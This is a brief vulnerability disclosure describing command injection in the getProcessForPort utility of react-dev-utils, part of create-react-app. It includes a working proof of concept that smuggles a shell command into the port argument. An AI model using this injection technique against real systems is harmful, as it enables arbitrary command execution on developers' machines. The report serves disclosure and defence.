Command Injection in facebook/create-react-app

description

react-dev-utils includes some utilities used by Create React App.

The function getProcessForPort in react-dev-utils is vulnerable to command injection.

PoC

Create a .js file with the content below and run it, then the file pzhou@shu can be illegally created.

var getProcessForPort = require('react-dev-utils/getProcessForPort');

getProcessForPort('11;$(touch pzhou@shu)');